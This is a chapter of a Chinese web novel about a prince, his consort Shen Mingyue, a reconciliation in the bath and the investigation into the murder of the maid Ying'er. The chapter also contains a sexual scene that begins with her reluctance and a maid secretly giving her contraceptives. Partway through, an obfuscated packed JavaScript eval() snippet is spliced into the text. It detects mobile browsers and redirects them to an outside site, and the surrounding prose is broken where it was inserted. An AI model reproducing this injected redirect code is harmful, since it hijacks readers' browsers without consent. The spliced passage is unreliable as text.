醉里不知谁是我,非月非云非鹤。【1】


    沈明月背靠浴池顶着冷帕巾,酒气在温热中发散,头脑逐渐清醒,却怎么也记不起来说过什么、做过什么。


    婢女芳凝顶了莺儿的职,一边整理王妃脱下的衣裳一边碎念。


    “……您在院子里抱着树不走,说什么‘我是鸟,该站在树上,飞在天上’,还说什么秋海棠叶【2】被瓜刨豆分、失去的土地再也收不回……含含糊糊、乱七八糟地听不懂,王妃还骂了殿下,最后吐殿下一身。”


    芳凝每说一句,沈明月就悲叹一声,身子跟着下滑一寸,酒后失态,她不敢想象那是什么场景,脸丢得满院子都是。


    水没到下颌时,她问:“我骂什么了?”


    芳凝碾开泡过水的澡豆,为难道:“奴婢不敢说。”


    定然不是什么好话,沈明月几乎未说过脏话,觉着再没脸见人,身子往下一沉,整个头没入水中。


    水从四面八方包裹住身体,她在水中看不见听不到,暂时关闭感官以逃避现实。


    同时,她也不能呼吸,时间在暗暝中放缓脚步,沉闷的窒息感困着胸部,心脏仿佛了枷锁,每跳动一下都带着痛楚。


    这就是莺儿生前最后的感受。


    最终,求生的本能迫使她从水中钻出来大口呼吸,水顺着紧贴在两鬓的碎发向下蜿蜒,淌过胸口。


    双手抹掉脸上的水痕,正见顾洲罩着宽袍坐在正前方,好整以暇地看着她。


    沈明月回头,芳凝早已不见踪影。


    满服腹心事被抓个正着,仿佛打回原形,她再次沉入水中,水花漾在脖颈间,心虚道:“你……怎么进来了?”


    顾洲微微俯身,“你霸着浴室,我这一身脏污还等着洗,不进来怎么办?”


    “我让给你。”沈明月咬住下唇想赶紧离开,担心提起刚才的事,毕竟醉酒的话她不好解释,转身去拿衣服,但衣服搭在衣架上,想拿到必须出水。


    身后的落水声让她的心脏狠跳动,顾洲从后面围上来,撑着浴池壁将她圈在中间,“今天骂爽了?”


    沈明月的脸色由杏红变成桃红,垂眸以沉默回应。


    “骂完心里可痛?”顾洲逐渐收紧手臂。


    沈明月不想回答,但在背后灼热气息的逼迫下点头承认。


    “那你要怎样补偿我这个无辜的受害者呢?”顾洲贴上沈明月的背,手轻拨着她耳边的滴水的发丝。


    如何补偿?答案不言而喻。


    沈明月委婉地说道:“现在是白天……”


    顾洲佻达一笑,“白天又怎样?浪荡子还分白天和晚上?”


    “外面有人……”沈明月往前挪挪,腿碰到浴池壁,自觉这借口毫无意义。


    “浑蛋不会讲道理,我看谁敢打扰。”


    沈明月还在坚持,但声音小下去,“我心里还难受。”


    顾洲并不退让,甚至上前挪挪,“情爱能让人身心放松。”


    躲无可躲,沈明月咬牙切齿地回击:“骗人。”


    “你不说我是骗子吗?”顾洲替她擦去肩膀的水珠,摩挲着光滑细腻的肌肤,如把玩珠玉,“骗没骗你,试过就知道。”


    沈明月无言以对,浪荡、浑蛋、骗子,这些词应该都是她刚才骂过的话。


    明知他不是这样的人,为什么自己还要这样骂?


    不及沈明月想明白,发烫的指尖已沿着她的脊骨下滑,痒意钻入骨缝,游走全身,她彻底放弃抵抗,转过身将头埋入顾洲的颈窝,闷声道:“不要胡来。”


    默许带着些酒意,一下子就将顾洲醉倒,抬起怀中人的下巴吻上去。


    微风拨动帘帐,日光深入室内,碎成满池粼光。


    沈明月本是不愿,但在热烈的进攻中败下阵来,无法抑制地喘息,睫毛紧垂,微张的樱唇中隐约露出些许舌尖。


    溃不成军的样子让顾洲愈发觉得自己威武,冲锋陷阵,锐意进取,占领一切可以占领的疆界。


    为什么会骂他?


    沈明月感受着胸前水波拍打,在身体摇晃中想明白原因,是那只耳坠子,芳萍送的耳坠子。


    耳坠一直在海棠身上,这几日事多,她无暇去送,今晨不小心掉落被沈明月撞见,慌张之下竟没遮掩过去。


    顾洲说着不会再与芳萍有瓜葛,却又不去做个了断,说是逢场作戏,也难说是旧爱不断,余情未了。


    她想去问个清楚,但又觉得没有必要,不想让人知道的事,再逼问也不会有结果。


    心里本就烦闷,有因这事添一层窝火,将满腔愤懑在灯笼上发泄后,仍觉不痛快。


    想到这里,沈明月握着顾洲的手臂发狠,眼角有水滑落,让人分不清是泪水还是洗澡水,顾洲吻上去轻吮,咸涩无比。


    “月儿,抱着我,放轻松……”


    沈明月撇过头抵在他肩上,不受控制地恨声道:“顾承平!”


    在这一刹那,酥麻的炙热涌遍全身,如春雷惊破天光,震动大地。


    的确是放松。


    沈明月无力地伏在浴池边,贴着氍毹的柔软细腻,朦胧的眼中似藏着浓雾,她问:“你是不是也不想要孩子?”


    顾洲的欢愉小心翼翼,才悄悄地泄出去,意犹未尽中忽听得这样问,心酸起来,上前拥住她。


    “等你什么时候想要,咱们什么时候再要。”


    沈明月松了肩膀,面上表情不变,又问:“你是不是还想着芳萍?”


    “怎么又提她?”


    这次换顾洲心虚,耳坠子还没解决去,贴身的小衣又送来,芳萍已如坐针毡,甚至急不可耐,这是个好机会,但他不能抓住。


    沈明月见他不答,确认似地说道:“我知道你们还互相惦记着,但这事你需做出个决断。”


    “决断?”顾洲不急于解释,反问道:“做什么决断?”


    沈明月心里发堵,嘴硬道:“自然是不能辜负人家姑娘的一片痴心。”


    顾洲嗤笑一声,“哪有什么痴心,不过是想借我之手为她父亲翻案,却又信不过我,毕竟我名声不好。”


    “不管怎样,你得对我有个交代。”


    沈明月语气平淡,甚至带着一丝冰冷,顾洲却因这句话而动容。


    “对她有个交代”,而不是对芳萍,也不是对顾洲自己,沈明月醉酒时话里满是抑郁,以至让顾洲感觉就要失去她。


    但现在她要个交代,是在给他机会。


    顾洲转到沈明月正面,磕在氍毹上与她平视,眼中柔情与波光浮动,“你陪我一起去。”


    沈明月被看得不自在,用手覆住含情的眼,调侃道:“还有绍王殿下应付不来的女子?”


    “不想你再误会。”顾洲拿下她的手握住,指腹泡得发白,有粗粝感。


    “是心虚吧!”沈明月一语中的。


    “是,王妃大人说是就是。”顾洲将手握紧些,“等我办完手头的事,咱们去媚春楼放松放松。”


    沈明月揶揄道:“媚春楼?青楼?你就不怕我查出点什么来?”


    “那你也得有这个本事。”顾洲笑得神秘,另一只手抚上沈明月的眉骨,“沈先生总能出乎我的意料,创办女校的计划书我看过了,是个不错的想法,我们可以先试着办个女私塾,招录平民女子入学。”


    “我们?”沈明月眸光微动,有些不敢相信,“你支持我?”


    “自然是支持,我的月儿是鹰,要有自己的天地,困在王府多委屈,出去走走,去看看哪里适合开女校。”


    顾洲说完,沈明月一时没有接话,只愣愣地凝视他,用力眨下眼,像是把什么东西憋回去。


    “感动啦?”顾洲揉揉她的头顶,“这就感动了!”


    沈明月抿嘴一笑,探头在他唇上一吻,“谢谢你……”


    “以后不要对我说谢这个字。”顾洲顺势揽住她,低头要吻上去。


    “殿下……”外面不合时宜的声音响起,是芳凝的声音,“辉阳请殿下去书房。”


    “知道了!”


    顾洲声音不悦,但也知是大理寺的事,耽误不得,他叮嘱沈明月,“秦王的案子有些棘手,这几日会很忙,我把辉阳留在府里,你有事就吩咐他。徐铭明日赴任,去送送吧。”说罢起身出


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16573627|167945||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    浴。


    突然的空缺令沈明月不适应,闭眼仰在浴池边,描摹着氍毹上留下的印迹,感受水波逐渐平稳。


    脚步声响起,海棠端药进来,沈明月摇头未接。


    海棠悄悄松口气,她正担心王妃会尝出异常来,温补的药和避孕的药,二者在味道上大有差别。


    “今天什么日子?”沈明月从水中出来,拿起帕巾。


    “正月初十。”海棠帮她擦着头发,补充一句,“明日是莺儿的头七。”


    片刻的欢愉驱不散沉淀已久的悲伤,沈明月低声道:“准备一下,明日去上坟。”


    城南郊山地,一座新坟孤立在清晨的霜寒中,徐铭往火堆里扔着纸钱,沈明月与莺儿站立一侧,看着火苗升起的热浪。


    “三书未过,六礼未成,但我已请求父母将莺儿纳入徐家族谱,牌位进祠堂、受香火。”徐铭扔完最后的纸钱到沈明月跟前磕个头,“先生,徐铭这就启程了,先生赠我的《锋刀八式》,我会在军中推广,绝不令先生心血枉费。”


    沈明月恐氛围太多过伤感,不敢落泪,忍着酸楚扶起徐铭,检查他身上的甲胄是否完备。


    甲胄是军中之物,容不得半点瑕疵,可就如老母亲送孩子远行一样,必要亲自检查一遍才放心。


    “好,好,以后自己孤身在北境,要多加小心,凡事三思而后行……”沈明月喉中哽咽,“去吧,别误了时辰。”


    “先生保重!”


    徐铭后退半步,郑重向沈明月与海棠各行一礼,转身下山。


    沈明月心绪复杂,悲伤与欣慰交织中杂糅着一丝羡慕,身影与刀法去往广袤的天地,而她只能守在原地。


    回望墓碑,碑上字迹寒凉砭骨,想到活生生的人只剩下冰冷的名字,莺儿就埋在土堆下,永远长眠在这里,再也见不到明亮的太阳,再也闻不到芬芳的花香,再也听不到悦耳的啼鸣。


    泪水忍不住滑落,沈明月捂着脸呜咽起来。


    海棠忽然跪下去,叩首道:“海棠有罪,请先生责罚。”


    “说。”沈明月一时难以从情绪中抽离。


    “莺儿落水当晚,衙门的仵作验尸后结案,或是因为是意外,又或是因过年,案子结得潦草,验状有多处不清。好在仵作中有咱们的人,我命他重验一次。”海棠拿出一张纸,“这是新的验状。”


    沈明月听着已觉忐忑,略略看过更是惊心,拿着验状的手已然颤抖。


    “……发髻散乱无钗环,手腕处有勒痕,胸前淤青为生外力所致,指甲缝中泥土非河泥……”


    沈明月猛然抬头:“是死于非命?”


    “是,仵作还怀疑她……”海棠欲言又止。


    “说!”沈明月的语气极重。


    “莺儿的衣服多处破损,并不是从地上抬起来时扯碎的,仵作怀疑她生前受到……欺负。”海棠选个自认委婉的形容词。


    “为什么不早报?”


    状案在沈明月手中变得褶皱,就像得知莺儿的死讯一样,她不敢相信,不愿相信,她以为仅仅是劫财,没想到还有劫色。


    海棠愧疚地低下头,“先生病着,徐铭伤心,我担心你们受不住。”


    沈明月并不怪海棠,知海棠虽不说也不会耽误调查,但是每个字都如针一样刺向她的心脏。


    痛,锥心的痛。


    沈明月将所有知道的人全都过一遍,想到柳家,想到淑妃,甚至想到远在安山的王三娘,她咬牙问道:“会是谁?”


    “案发在午后,目击者甚少,多方打探没什么结果,破绽之处在于时间对不上,莺儿与徐铭分开到莺儿落水处的这段路也就一盏茶的功夫,但中间却隔了多半个时辰,这个时间内发生什么,没有线索。我也想过莺儿贪玩,但她在路上买过栗子酥,定会不做停留趁热送回。”海棠含泪再叩首:“海棠有错,请先生责罚。”


    沈明月站立不稳,戾气充斥眼底,一字一顿地说道:“再查,不管是谁,我要他血债血偿。”


    朔风骤起,卷走余烬。


    沈明月望着漫天飞扬的纸灰,再次想到那个人,心想也许他能帮上忙。